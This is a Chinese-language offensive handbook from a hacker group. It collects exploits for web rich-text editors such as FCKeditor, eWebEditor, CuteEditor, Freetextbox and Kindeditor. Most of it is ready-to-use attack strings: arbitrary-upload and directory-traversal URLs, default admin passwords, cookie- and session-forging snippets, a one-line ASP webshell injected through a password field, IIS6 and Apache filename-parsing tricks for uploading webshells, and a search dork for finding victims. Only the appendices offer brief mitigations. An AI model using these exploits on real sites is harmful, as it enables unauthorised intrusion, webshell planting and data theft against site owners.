Editors Vulnerability Handbook

- ## Version
  1.2

- ## Summary

	Editors	Update	Description
#Include	{*FCKeditor*}	2010/04/10	"_"真不是那么好绕的~~望高手飞过告知
#Include	{*eWebEditor*}	2011/01/30	去掉一个众所周知的“甲"虫
#Include	{*Cuteditor*}	2011/04/30	这编辑器根本不入流嘛，竟然不去重命名
#Include	{*Freetextbox*}	**2011/05/02**	tmdsb没想到比Cuteditor都不入流
#Include	{*Webhtmleditor*}	2009/11/29	经过参考诸多资料-证实此物已终止更新
#Include	{*Kindeditor*}	2009/11/29	v3.4 已经开始以$Date命名文件名
#Include	{*eWebEditorNET*}	2009/11/29	Aspx版eWebEditor
#Include	{*southidceditor*}	2009/11/29	基于eWebEditor v2.8商业版Kernel
#Include	{*bigcneditor*}	2009/11/29	基于eWebEditor v2.8商业版Kernel
#Include	{*Msn Editor*}	2011/02/24	一个仿冒Fck CSS的伪君子

Note

创建这样一个文档是为了能够使得众多需要得到帮助的人们，在她们最为困苦之时找到为自己点亮的那盏明灯，虽然这将揭示了某个寂静黑夜下一群躁动不安的人群.他们在享受快感，享受H4ck W0r|d带给他们的一切.

作为收集整理此文的修订者，我-怀着无比深邃的怨念参考了诸多资料才使得此物最终诞生，在此感谢整理过程中所有施舍帮助于我的人们.愿他们幸福快乐，虎年如意！

非常希望各位能够与我联系，一并完成本文的创作。

Redactor

[北洋贱队@Bbs.SecEye.Org ~]# MIAO、猪哥靓、Hell-Phantom、Liange、Fjhh、GxM、Sn4k3! 、微笑刺客……

Contact

securityOday@Gmail.com

GPL License ……

虽然出于原意本人并不想为难大家阅读如此沉长的Notification
But …… 智慧是众人的，至少要保证他人的利益不受侵犯！
这是一种尊重、一种渴求真知的态度！
我们虽不代表正义
但也并非乌合

```
/*****************************************************************
***************
 *   Copyright (C) 2010 by 北洋贱队                                *
 *   Security0day@Gmail.com                                      *
 *                                                               *
 *   本文当是个自由文档;                                         *
 *                                                               *
 *   你可以对本文当有如下操作                                    *
 *   可自由复制                                                  *
 *   你可以将文档复制到你的或者你客户的电脑，或者任何地方；      *
 *   复制份数没有任何限制。                                      *
 *                                                               *
 *   可自由分发                                                  *
 *   在你的网站提供下载，拷贝到U盘送人，或者将源代码打印出       *
 *    来从窗户扔出去（环保起见，请别这样做）。                   *
 *                                                               *
 *   可以用来盈利                                                *
 *   你可以在分发软件的时候收费，但你必须在收费前向你的客       *
 *    户提供该软件的 GNU GPL 许可协议，以便让他们知道，他       *
 *    们可以从别的渠道免费得到这份软件，以及你收费的理由。      *
 *                                                               *
 *   可自由修改                                                  *
 *   如果你想添加或删除某个功能，没问题，如果你想在别的项目     *
 *    中使用部分代码，也没问题，唯一的要求是，使用了这段代码的项*
 *    目也必须使用 GPL 协议。                                    *
 *    修改的时候请对本文档引用部分注明出处                      *
 *                                                               *
 *    推荐使用Chrome浏览器或类Chrome内核浏览器阅读本文          *

 *     对由IE给您带来的阅读障碍深表遗憾                         *
 *****************************************************************
***************/
```

有关复制，发布和修改的条款和条件

First. 此许可证适用于任何包含版权所有者声明的程序和其他作品，版权所有者在声明中明确说明程序和作品可以在GPL条款的约束下发布。下面提到的"程序"

指的是任何这样的程序或作品。而"基于程序的作品"指的是程序或者任何受版权法约束的衍生作品。也就是说包含程序或程序的一部分的作品。可以是原封不动的，或经过修改的和／或翻译成其他语言的（程序）。在下文中，翻译包含在修改的条款中。每个许可证接受人（licensee）用你来称呼。
许可证条款不适用于复制，发布和修改以外的活动。这些活动超出这些条款的范围。运行程序的活动不受条款的限止。仅当程序的输出构成基于程序作品的内容时，这一条款才适用（如果只运行程序就无关）。是否普遍适用取决于程序具体用来做什么。

No 2. 只要你在每一副本上明显和恰当地出版版权声明和不承担担保的声明，保持此许可证的声明和没有担保的声明完整无损，并和程序一起给每个其他的程序接受者一份许可证的副本，你就可以用任何媒体复制和发布你收到的原始的程序的源代码。
你可以为转让副本的实际行动收取一定费用。你也有权选择提供担保以换取一定的费用。

No 3. 你可以修改程序的一个或几个副本或程序的任何部分，以此形成基于程序的作品。只要你同时满足下面的所有条件，你就可以按前面第一款的要求复制和发布这一经过修改的程序或作品。
a） 你必须在修改的文件中附有明确的说明：你修改了这一文件及具体的修改日期。
b） 你必须使你发布或出版的作品（它包含程序的全部或一部分，或包含由程序的全部或部分衍生的作品）允许第三方作为整体按许可证条款免费使用。
c） 如果修改的程序在运行时以交互方式读取命令，你必须使它在开始进入常规的交互使用方式时打印或显示声明：包括适当的版权声明和没有担保的声明（或者你提供担保的声明）；用户可以按此许可证条款重新发布程序的说明；并告诉用户如何看到这一许可证的副本。（例外的情况：如果原始程序以交互方式工作，它并不打印这样的声明，你的基于程序的作品也就不用打印声明）。
这些要求适用于修改了的作品的整体。如果能够确定作品的一部分并非程序的衍生产品，可以合理地认为这部分是独立的，是不同的作品。当你将它作为独立作品发布时，它不受此许可证和它的条款的约束。但是当你将这部分作为基于程序的作品的一部分发布时，作为整体它将受到许可证条款约束。准予其他许可证持有人的使用范围扩大到整个产品。也就是每个部分，不管它是谁写的。
因此，本条款的意图不在于索取权利；或剥夺全部由你写成的作品的权利。而是履行权利来控制基于程序的集体作品或衍生作品的发布。
此外，将与程序无关的作品和该程序或基于程序的作品一起放在存贮体或发布媒体的同一卷上，并不导致将其他作品置于此许可证的约束范围之内。

No 4. 你可以以目标码或可执行形式复制或发布程序（或符合第2款的基于程序的作品)，只要你遵守前面的第1，2款，并同时满足下列3条中的1条。
a）在通常用作软件交换的媒体上，和目标码一起附有机器可读的完整的源码。这些源码的发布应符合上面第1，2款的要求。或者
b）在通常用作软件交换的媒体上，和目标码一起，附有给第三方提供相应的机器可读的源码的书面报价。有效期不少于3年，费用不超过实际完成源程序发布的实际成本。源码的发布应符合上面的第1，2款的要求。或者

c）和目标码一起，附有你收到的发布源码的报价信息。（这一条款只适用于非商业性发布，而且你只收到程序的目标码或可执行代码和按b）款要求提供的报价）。
作品的源码指的是对作品进行修改最优先择取的形式。对可执行的作品讲，完整的源码包括：所有模块的所有源程序，加上有关的接口的定义，加上控制可执行作品的安装和编译的script。作为特殊例外，发布的源码不必包含任何常规发布的供可执行代码在上面运行的操作系统的主要组成部分（如编译程序，内核等）。除非这些组成部分和可执行作品结合在一起。
如果采用提供对指定地点的访问和复制的方式发布可执行码或目标码，那么，提供对同一地点的访问和复制源码可以算作源码的发布，即使第三方不强求与目标码一起复制源码。

No 5. 除非你明确按许可证提出的要求去做，否则你不能复制，修改，转发许可证和发布程序。任何试图用其他方式复制，修改，转发许可证和发布程序是无效的。而且将自动结束许可证赋予你的权利。然而，对那些从你那里按许可证条款得到副本和权利的人们，只要他们继续全面履行条款，许可证赋予他们的权利仍然有效。

你没有在许可证上签字，因而你没有必要一定接受这一许可证。然而，没有任何其他东西赋予你修改和发布程序及其衍生作品的权利。如果你不接受许可证，这些行为是法律禁止的。因此，如果你修改或发布程序（或任何基于程序的作品），你就表明你接受这一许可证以及它的所有有关复制，发布和修改程序或基于程序的作品的条款和条件。

No 6. 每当你重新发布程序（或任何基于程序的作品）时，接受者自动从原始许可证颁发者那里接到受这些条款和条件支配的复制，发布或修改程序的许可证。你不可以对接受者履行这里赋予他们的权利强加其他限制。你也没有强求第三方履行许可证条款的义务。

No 7. 如果由于法院判决或违反专利的指控或任何其他原因（不限于专利问题）的结果，强加于你的条件（不管是法院判决，协议或其他）和许可证的条件有冲突。他们也不能用许可证条款为你开脱。在你不能同时满足本许可证规定的义务及其他相关的义务时，作为结果，你可以根本不发布程序。例如，如果某一专利许可证不允许所有那些直接或间接从你那里接受副本的人们在不付专利费的情况下重新发布程序，唯一能同时满足两方面要求的办法是停止发布程序。
如果本条款的任何部分在特定的环境下无效或无法实施，就使用条款的其余部分。并将条款作为整体用于其他环境。
本条款的目的不在于引诱你侵犯专利或其他财产权的要求，或争论这种要求的有效性。本条款的主要目的在于保护自由软件发布系统的完整性。它是通过通用公共许可证的应用来实现的。许多人坚持应用这一系统，已经为通过这一系统发布大量自由软件作出慷慨的供献。作者／捐献者有权决定他／她是否通过任何其他系统发布软件。许可证持有人不能强制这种选择。
本节的目的在于明确说明许可证其余部分可能产生的结果。

No 8. 如果由于专利或者由于有版权的接口问题使程序在某些国家的发布和使用受

到限止，将此程序置于许可证约束下的原始版权拥有者可以增加限止发布地区的条款，将这些国家明确排除在外。并在这些国家以外的地区发布程序。在这种情况下，许可证包含的限止条款和许可证正文一样有效。

No 9. 自由软件基金会可能随时出版通用公共许可证的修改版或新版。新版和当前的版本在原则上保持一致，但在提到新问题时或有关事项时，在细节上可能出现差别。
每一版本都有不同的版本号。如果程序指定适用于它的许可证版本号以及"任何更新的版本"。你有权选择遵循指定的版本或自由软件基金会以后出版的新版本，如果程序未指定许可证版本，你可选择自由软件基金会已经出版的任何版本。

No 10. 如果你愿意将程序的一部分结合到其他自由程序中，而它们的发布条件不同。写信给作者，要求准予使用。如果是自由软件基金会加以版权保护的软件，写信给自由软件基金会。我们有时会作为例外的情况处理。我们的决定受两个主要目标的指导。这两个主要目标是：我们的自由软件的衍生作品继续保持自由状态。以及从整体上促进软件的共享和重复利用。
没有担保

No 11. 由于程序准予免费使用，在适用法准许的范围内，对程序没有担保。除非另有书面说明，版权所有者和／或其他提供程序的人们"一样"不提供任何类型的担保。不论是明确的，还是隐含的。包括但不限于隐含的适销和适合特定用途的保证。全部的风险，如程序的质量和性能问题都由你来承担。如果程序出现缺陷，你承担所有必要的服务，修复和改正的费用。

No 12. 除非适用法或书面协议的要求，在任何情况下，任何版权所有者或任何按许可证条款修改和发布程序的人们都不对你的损失负有任何责任。包括由于使用或不能使用程序引起的任何一般的，特殊的，偶然发生的或重大的损失（包括但不限于数据的损失，或者数据变得不精确，或者你或第三方的持续的损失，或者程序不能和其他程序协调运行等）。即使版权所有者和其他人提到这种损失的可能性也不例外。
最后的条款和条件
****
本文档用于收集各类编辑器漏洞利用、描述等细节

****

FCKeditor编辑器页/查看编辑器版本/查看文件上传路径

FCKeditor编辑器页
FCKeditor/_samples/default.html

查看编辑器版本
FCKeditor/_whatsnew.html

查看文件上传路径
fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

XML页面中第二行 “url=/xxx”的部分就是默认基准上传路径

Note:[Hell1]截至2010年02月15日最新版本为FCKeditor v2.6.6
[Hell2]记得修改其中两处asp为FCKeditor实际使用的脚本语言

FCKeditor被动限制策略所导致的过滤不严问题

影响版本: FCKeditor x.x <= FCKeditor v2.4.3
脆弱描述：
FCKeditor v2.4.3中File类别默认拒绝上传类型：
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|
pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm

Fckeditor 2.0 <= 2.2允许上传asa、cer、php2、php4、inc、pwml、pht后缀的文件
上传后 它保存的文件直接用的**$sFilePath = $sServerDir . $sFileName**，而没有使用$sExtension为后缀
直接导致在win下在上传文件后面加个.来突破[**未测试**]
而在apache下，因为"**Apache文件名解析缺陷漏洞**"也可以利用之，详见"附录A"

另建议其他上传漏洞中定义TYPE变量时使用File类别来上传文件,根据FCKeditor的代码

，其限制最为狭隘。
攻击利用:
允许其他任何后缀上传

Note:[Hell1]原作：
http://superhei.blogbus.com/logs/2006/02/1916091.html

利用2003路径解析漏洞上传网马

影响版本: **附录B**
脆弱描述：
利用2003系统路径解析漏洞的原理，创建类似"bin.asp"如此一般的目录，再在此目录中上传文件即可被脚本解释器以相应脚本权限执行。
攻击利用:
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp
强制建立shell.asp目录：
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
or
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

Note:[` Sn4k3!]这个我也不知道咯，有些时候，手动不行，代码就是能成功，囧。

FCKeditor PHP上传任意文件漏洞

影响版本: FCKeditor 2.2 <= FCKeditor 2.4.2
脆弱描述：
FCKeditor在处理文件上传时存在输入验证错误，远程攻击可以利用此漏洞上传任意文件。
在通过editor/filemanager/upload/php/upload.php上传文件时攻击者可以通过为Type参数定义无效的值导致上传任意脚本。
成功攻击要求config.php配置文件中启用文件上传，而默认是禁用的。攻击利用: (请修改action字段为指定网址)：
FCKeditor 《=2.4.2 for php.html

Note:如想尝试v2.2版漏洞，则修改Type=任意值 即可，但注意，如果换回使用Media则必须大写首字母M,否则LINUX下，FCKeditor会对文件目录进行文件名校验，不会上传成功的。

FCKeditor JSP上传文件路径

影响版本：FCKeditor JSP版
攻击利用：
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector

TYPE自定义变量任意上传文件漏洞

影响版本: 较早版本
脆弱描述：
通过自定义Type变量的参数，可以创建或上传文件到指定的目录中去，且没有上传文件格式的限制。
攻击利用:
/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=connectors/asp/connector.asp

打开这个地址就可以上传任何类型的文件了，Shell上传到的默认位置是:
http://www.URL.com/UserFiles/all/1.asp
"Type=all" 这个变量是自定义的,在这里创建了all这个目录,而且新的目录没有上传文件格式的限制.

比如输入:
/FCKeditor/editor/filemanager/browser/default/browser.html?Type=../&Connector=connectors/asp/connector.asp
网马就可以传到网站的根目录下.

Note:如找不到默认上传文件夹可检查此文件:
fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor 新闻组件遍历目录漏洞

影响版本: Aspx与JSP版FCKeditor
脆弱描述：如何获得webshell请参考上文"TYPE自定义变量任意上传文件漏洞"
攻击利用:
修改CurrentFolder参数使用 ../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=aspx.asp

根据返回的XML信息可以查看网站所有的目录。
/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F

FCKeditor 暴路径漏洞

影响版本：aspx版FCKeditor
攻击利用：
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/1.asp

FCKeditor中webshell的其他上传方式

影响版本:非优化/精简版本的FCKeditor
脆弱描述：
如果存在以下文件，打开后即可上传文件。
攻击利用:
fckeditor/editor/filemanager/upload/test.html
fckeditor/editor/filemanager/browser/default/connectors/test.html
fckeditor/editor/filemanager/connectors/test.html
fckeditor/editor/filemanager/connectors/uploadtest.html

FCKeditor 文件上传"."变"_"下划线的绕过方法

影响版本: FCKeditor => 2.4.x
脆弱描述：
我们上传的文件例如：shell.php.rar或shell.php;.jpg会变为shell_php;.jpg这是新版FCK的变化。
攻击利用:
提交1.php+空格 就可以绕过去所有的,
※不过空格只支持win系统 *nix是不支持的[1.php和1.php+空格是2个不同的文件]

Note:http://pstgroup.blogspot.com/2007/05/tipsfckeditor.html

[附]FCKeditor 二次上传问题

影响版本:=>2.4.x的最新版已修补
脆弱描述:
来源:T00LS.Net
由于Fckeditor对第一次上传123.asp;123.jpg 这样的格式做了过滤。也就是IIS6解析漏洞。
上传第一次。被过滤为123_asp;123.jpg 从而无法运行。
但是第2次上传同名文件123.asp;123.jpg后。由于"123_asp;123.jpg"已经存在。
文件名被命名为123.asp;123(1).jpg …… 123.asp;123(2).jpg这样的编号方式。
所以。IIS6的漏洞继续执行了。

如果通过上面的步骤进行测试没有成功，可能有以下几方面的原因：
1.FCKeditor**没有开启文件上传功能**，这项功能在安装FCKeditor时**默认是关闭**的。如果想上传文件，FCKeditor会给出错误提示。
2.网站采用了**精简版的**FCKeditor，精简版的FCKeditor很多功能丢失，包括文件上传功能。
3.FCKeditor的这个**漏洞已经被修复**。

---

eWebEditor

eWebEditor利用基础知识

默认后台地址：/ewebeditor/admin_login.asp
建议最好检测下admin_style.asp文件是否可以直接访问

默认数据库路径：[PATH]/db/ewebeditor.mdb
[PATH]/db/db.mdb -- 某些CMS里是这个数据库
也可尝试 [PATH]/db/%23ewebeditor.mdb -- 某些管理员自作聪明的小伎俩

使用默认密码：admin/admin888 或 admin/admin 进入后台，也可尝试

admin/123456 （有些管理员以及一些CMS，就是这么设置的）

点击"样式管理"--可以选择新增样式，或者修改一个非系统样式，将其中图片控件所允许的上传类型后面加上|asp、|asa、|aaspsp或|cer，只要是服务器允许执行的脚本类型即可，点击"提交"并设置工具栏--将"插入图片"控件添加上。而后--预览此样式，点击插入图片，上传WEBSHELL，在"代码"模式中查看上传文件的路径。

2、当数据库被管理员修改为asp、asa后缀的时候，可以插一句话木马服务端进入数据库，然后一句话木马客户端连接拿下webshell
3、上传后无法执行？目录没权限？帅锅你回去样式管理看你编辑过的那个样式，里面可以自定义上传路径的！！！
4、设置好了上传类型，依然上传不了麽？估计是文件代码被改了，可以尝试设定"远程类型"依照6.0版本拿SHELL的方法来做（详情见下文↓），能够设定自动保存远程文件的类型。
5、不能添加工具栏，但设定好了某样式中的文件类型，怎么办？↓这么办！
(请修改action字段)
Action.html
6、需要**突破上传文件类型限制**么？Come here! -->> 将图片上传类型修改为"aaspsp;"(不含引号)，将一句话shell文件名改为"1.asp;"(不含引号)并上传即可。
-->本条信息来源：*微笑刺客*

eWebEditor踩脚印式入侵

脆弱描述：
当我们下载数据库后查询不到密码MD5的明文时，可以去看看webeditor_style(14)这个样式表，看看是否有前辈入侵过 或许已经赋予了某控件上传脚本的能力，构造地址来上传我们自己的WEBSHELL.
攻击利用:
比如　ID=46　　s-name =standard1
构造 代码:　ewebeditor.asp?id=content&style=standard
　　ID和和样式名改过后
　　ewebeditor.asp?id=46&style=standard1

eWebEditor遍历目录漏洞

脆弱描述：
ewebeditor/admin_uploadfile.asp
admin/upload.asp
过滤不严，造成遍历目录漏洞
攻击利用:
*第一种:*ewebeditor/admin_uploadfile.asp?id=14
在id=14后面添加&dir=..
再加 &dir=../..

&dir=http://www.****.com/../.. 看到整个网站文件了
第二种: ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir =./..

eWebEditor 5.2 列目录漏洞

脆弱描述：
ewebeditor/asp/browse.asp
过滤不严，造成遍历目录漏洞
攻击利用：
http://www.****.com/ewebeditor/asp/browse.asp?style=standard650&dir=…././/..

利用WebEditor session欺骗漏洞,进入后台

脆弱描述：
漏洞文件:Admin_Private.asp
只判断了session，没有判断cookies和路径的验证问题。
攻击利用:
新建一个test.asp内容如下:
<%Session("eWebEditor_User") = "11111111"%>
访问test.asp，再访问后台任何文件，for example:Admin_Default.asp

eWebEditor asp版 2.1.6 上传漏洞

攻击利用:（请修改action字段为指定网址）
ewebeditor asp版2.1.6上传漏洞利用程序.html

eWebEditor 2.7.0 注入漏洞

攻击利用:
http://www.网址.
com/ewebeditor/ewebeditor.asp?id=article_content&style=full_v200
默认表名：eWebEditor_System默认列名：sys_UserName、sys_UserPass，然后利用nbsi进行猜解.

eWebEditor2.8.0最终版删除任意文件漏洞

脆弱描述：
此漏洞存在于Example\NewsSystem目录下的delete.asp文件中，这是ewebeditor

的测试页面，无须登陆可以直接进入。
攻击利用：(请修改action字段为指定网址)
Del Files.html

eWebEditor PHP/ASP...后台通杀漏洞

影响版本： PHP ≥ 3.0~3.8与asp 2.8版也通用，或许低版本也可以，有待测试。
攻击利用：
进入后台/eWebEditor/admin/login.php,随便输入一个用户和密码,会提示出错了.
这时候你清空浏览器的url,然后输入

javascript:alert(document.cookie="adminuser="+escape("admin"));
javascript:alert(document.cookie="adminpass="+escape("admin"));
javascript:alert(document.cookie="admindj="+escape("1"));

而后三次回车,清空浏览器的URL,现在输入一些平常访问不到的文件如..
/ewebeditor/admin/default.php，就会直接进去。

eWebEditor for php任意文件上传漏洞

影响版本：ewebeditor php v3.8 or older version
脆弱描述：
此版本将所有的风格配置信息保存为一个数组$aStyle,在php.ini配置register_global为on的情况下我们可以任意添加自己喜欢的风格，并定义上传类型。
攻击利用：
phpupload.html

eWebEditor JSP版漏洞

大同小异，我在本文档不想多说了，因为没环境 测试，网上垃圾场那么大，不好排查。
用JSP编辑器的我觉得eweb会比FCKeditor份额少得多。
给出个连接：http://blog.haaker.cn/post/161.html
还有：http://www.anqn.com/zhuru/article/all/2008-12-04/a09104236.shtml

eWebEditor 2.8 商业版插一句话木马

影响版本：=>2.8 商业版
攻击利用：
登陆后台，点击修改密码---新密码设置为 1":eval request("h")'

设置成功后，访问asp/config.asp文件即可，一句话木马被写入到这个文件里面了.

eWebEditorNet upload.aspx 上传漏洞(WebEditorNet)

脆弱描述：
WebEditorNet 主要是一个upload.aspx文件存在上传漏洞。
攻击利用:
默认上传地址：/ewebeditornet/upload.aspx
可以直接上传一个cer的木马
如果不能上传则在浏览器地址栏中输入javascript:lbtnUpload.click();
成功以后查看源代码找到uploadsave查看上传保存地址，默认传到uploadfile这个文件夹里。

southidceditor(一般使用v2.8.0版eWeb核心)

http://www.网址.com/admin/southidceditor/datas/southidceditor.mdb
http://www.网址.com/admin/southidceditor/admin/admin_login.asp
http://www.网址.com/admin/southidceditor/popup.asp

bigcneditor(eWeb 2.7.5 VIP核心)

其实所谓的Bigcneditor就是eWebEditor 2.7.5的VIP用户版.之所以无法访问admin_login.asp，提示"权限不够"4字真言，估计就是因为其授权"Licensed"问题,或许只允许被授权的机器访问后台才对。

或许上面针对eWebEditor v2.8以下低版本的小动作可以用到这上面来.貌似没多少动作?☹

Cute Editor

Cute Editor在线编辑器本地包含漏洞

影响版本:
CuteEditor For Net 6.4

脆弱描述：
可以随意查看网站文件内容，危害较大。
攻击利用:
http://www.TEST.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config

Cute Editor Asp.Net版利用iis解析漏洞获得权限

影响版本：
CuteEditor for ASP.NET中文版脆弱描述：
脆弱描述：
CuteEditor对上传文件名未重命名，导致其可利用IIS文件名解析Bug获得webshell权限。
攻击利用：
可通过在搜索引擎中键入关键字 inurl:Post.aspx?SmallClassID= 来找到测试目标。
在编辑器中点击"多媒体插入"，上传一个名为"xxx.asp;.avi"的网马，以此获得权限。

Note: http://www.heimian.com/post/667.html

Webhtmleditor

利用WIN 2003 IIS文件名称解析漏洞获得SHELL

影响版本：<= Webhtmleditor最终版1.7 (已停止更新)
脆弱描述/攻击利用：
对上传的图片或其他文件无重命名操作，导致允许恶意用户上传diy.asp;.jpg来绕过对后缀名审查的限制，对于此类因编辑器作者意识犯下的错误，就算遭遇缩略图，文件头检测，也可使用图片木马 插入一句话来突破。

Kindeditor

利用WIN 2003 IIS文件名称解析漏洞获得SHELL

影响版本: <= kindeditor 3.2.1(09年8月份发布的最新版)
脆弱描述/攻击利用：
拿官方做个演示：进入http://kindsoft.net/ke/examples/index.html 随意点击一个demo后点图片上传，某君上传了如下文件：
http://kindsoft.net/ke/attached/test.asp;.jpg 大家可以前去围观。(现已失效，请速至老琴房弹奏《Secret》回到09年8月份观看)
Note:参见附录C原理解析。

Freetextbox

Freetextbox遍历目录漏洞

影响版本：未知
脆弱描述：
因为ftb.imagegallery.aspx代码中 只过滤了/但是没有过滤\符号所以导致出现了遍历目录的问题。
攻击利用:
在编辑器页面点图片会弹出一个框（抓包得到此地址）构造如下，可遍历目录。
http://www.XXX.cn/Member/images/ftb/HelperScripts/ftb.imagegallery.aspx?frame=1&rif=..&cif=\..

Freetextbox Asp.Net版利用IIS解析漏洞获得权限

影响版本：所有版本
脆弱描述：
没做登陆验证可以直接访问上传木马
Freetextbox 3-3-1 可以直接上传任意格式的文件
Freetextbox 1.6.3 及其他版本可以上传 格式为x.asp;.jpg
攻击利用：
利用IIS解析漏洞拿SHELL。上传后SHELL的路径为
http://www.seceye.com/images/x.asp;.jpg

Note: http://www.tmdsb.com/2011/03/freetextbox-most-recent-0day/

Msn editor

利用WIN 2003 IIS文件名称解析漏洞获得SHELL

影响版本：未知
脆弱描述：
点击图片上传后会出现上传页面，地址为
http://url/admin/uploadPic.asp?language=&editImageNum=0&editRemNum=
用普通的图片上传后，地址为
http://url/news/uppic/41513102009204012_1.gif
记住这时候的路径，再点击图片的上传，这时候地址就变成了
http://url/news/admin/uploadPic.asp?language=&editImageNum=1&editRemNum=41513102009204012
很明显。图片的地址是根据RemNum后面的编号生成的。
攻击利用:
配合IIS的解析漏洞，把RemNum后面的数据修改为1.asp;41513102009204012，变成下面这个地址
http://www.xxx.cn/admin/uploadPic.asp?language=&editImageNum=0&editRemNum=1.asp;41513102009204012
然后在浏览器里打开，然后选择你的脚本木马上传，将会返回下面的地址
uppic/1.asp;41513102009204012_2.gif
直接打开就是我们的小马地址！

附录A：

Apache文件名解析缺陷漏洞：

测试环境:apache 2.0.53 winxp,apache 2.0.52 redhat linux

1.国外(SSR TEAM)发了多个advisory称Apache's MIME module (mod_mime)相关漏洞,就是attack.php.rar会被当做php文件执行的漏洞，包括Discuz!那个p11.php.php.php.php.php.php.php.php.php.php.php.php.rar漏洞。

2.S4T的superhei在blog上发布了这个apache的小特性，即apache 是从后面开始检查后缀，按最后一个合法后缀执行。其实只要看一下apache的htdocs那些默认安装的index.XX文件就明白了。

3.superhei已经说的非常清楚了，可以充分利用在上传漏洞上，我按照普遍允许上传的文件格式测试了一下，列举如下(乱分类勿怪)

典型型:rar
备份型:bak,lock
流媒体型：wma,wmv,asx,as,mp4,rmvb
微软型:sql,chm,hlp,shtml,asp
任意型:test,fake,ph4nt0m
特殊型:torrent
程序型：jsp,c,cpp,pl,cgi

4.整个漏洞的关键就是apache的"合法后缀"到底是哪些，不是"合法后缀"的都可以被利用。

5.测试环境
a.php
<? phpinfo();?>
然后增加任意后缀测试,a.php.aaa,a.php.aab....

By cloie, in ph4nt0m.net(c) Security.

附录B：

安装了iis6的服务器(windows2003)，**受影响的**文件名后缀有.asp .asa .cdx .cer .pl .php .cgi

Windows 2003 Enterprise Edition是微软目前主流的服务器操作系统。 Windows 2003 IIS6 存在着**文件解析路径的漏洞**，当**文件夹名**为类似hack**.asp**的时候（即文件夹名看起来像一个ASP文件的文件名），此时此文件夹下的任何类型的文件(比如.gif，.jpg，.txt等)都可以在IIS中**被当做ASP程序来执行**。这样黑客即可上传扩展名为jpg或gif之类的看起来像是图片文件的木马文件，通过访问这个文件即可运行木马。如果这些网站中有任何一个文件夹的名字是以 .asp .php .cer .asa .cgi .pl 等结尾，那么放在这些文件夹下面的任何类型的文件都有可能被认为是脚本文件而交给脚本解析器而**执行**。

附录C：

漏洞描述：

当文件名为[YYY].asp;[ZZZ].jpg时，Microsoft IIS会自动以asp格式来进行解析。

而当文件名为[YYY].php;[ZZZ].jpg时，Microsoft IIS会自动以php格式来进行解析。

其中[YYY]与[ZZZ]处为可变化字符串。

影响平台：

Windows Server 2000 / 2003 / 2003 R2 (IIS 5.x / 6.0)

修补方法：

1、等待微软相关的补丁包

2、关闭图片所在目录的脚本执行权限（前提是你的某些图片没有与程序混合存放）

3、校验网站程序中所有上传图片的代码段，对形如[YYY].asp;[ZZZ].jpg的图片做拦截

备注：

对于Windows Server 2008(IIS7)以及Windows Server 2008 R2(IIS7.5)则未受影响

Note:(FW) for http://www.cnblogs.com/webserverguard/archive/2009/09/14/1566597.html

---